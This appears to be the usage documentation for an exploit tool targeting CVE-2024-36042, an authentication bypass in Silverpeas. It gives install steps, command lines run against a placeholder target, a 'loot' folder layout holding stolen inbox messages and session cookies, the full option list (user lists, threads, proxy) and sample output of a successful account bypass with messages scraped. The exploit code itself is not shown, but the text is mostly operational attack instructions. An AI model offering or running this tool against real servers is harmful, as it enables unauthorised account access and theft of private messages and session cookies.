git clone https://github.com/YOURNAME/Silverpeas-AuthBypass-CVE-2024-36042.git
cd Silverpeas-AuthBypass-CVE-2024-36042
pip install requests beautifulsoup4

python3 CVE-2024-36042.py -t http://TARGET:8080 --dump-messages

python3 CVE-2024-36042.py -t http://TARGET:8080 -u admin --dump-messages --message-output both

python3 CVE-2024-36042.py -t http://TARGET:8080 --userlist users.txt --dump-messages --message-output files --output-format md --outdir ./loot

python3 CVE-2024-36042.py -t http://TARGET:8080 --check-version --no-exploit

python3 CVE-2024-36042.py -t http://TARGET:8080 --proxy http://127.0.0.1:8080 --dump-messages --save-raw-html

outdir/
├── SilverAdmin/
│   ├── message_0001.md
│   ├── message_0002.md
│   ├── raw/ (optional: --save-raw-html)
│   │   └── msg_1.html
│   └── session_cookies.txt
├── scr1ptkiddy/
│   ├── messages.md
│   └── session_cookies.txt
└── summary.json

-t, --target        Base URL of Silverpeas (required)
-u, --user          Single username to target
--userlist          File with one username per line
--dump-messages     Scrape and display inbox messages
--max-id            Max message ID to check (default: 50)
--threads           Concurrent workers (default: 5)
--proxy             HTTP proxy URL
--message-output    Output mode: {console, markdown, files, both}
--output-format     File format: {md, txt}
--json              Export full JSON report
--csv               Export CSV of scraped messages
--outdir            Output directory for exports
--no-color          Disable ANSI color output (useful for logs)
--save-raw-html     Save original HTML responses for debugging
--check-version     Fingerprint version only
--no-exploit        Skip exploitation (pair with --check-version)
--quiet, -q         Minimal output
--no-banner         Suppress banner

[*] Target   : http://10.49.169.44:8080
[*] Version  : 6.3.1
[+] Version 6.3.1 < 6.3.5 - vulnerable.

[*] Trying: scr1ptkiddy
[+] BYPASSED -> scr1ptkiddy
[+] Data saved to ./scr1ptkiddy

────────────────────────────────────────────────────────────────────
  Execution Summary
────────────────────────────────────────────────────────────────────
┌───────────────┬──────────┬──────────┐
│ Account       │ Status   │ Messages │
├───────────────┼──────────┼──────────┤
│ scr1ptkiddy   │ SUCCESS  │ 6        │
│ admin         │ FAILED   │ 0        │
└───────────────┴──────────┴──────────┘

[+] JSON report -> ./report_20260516_013210.json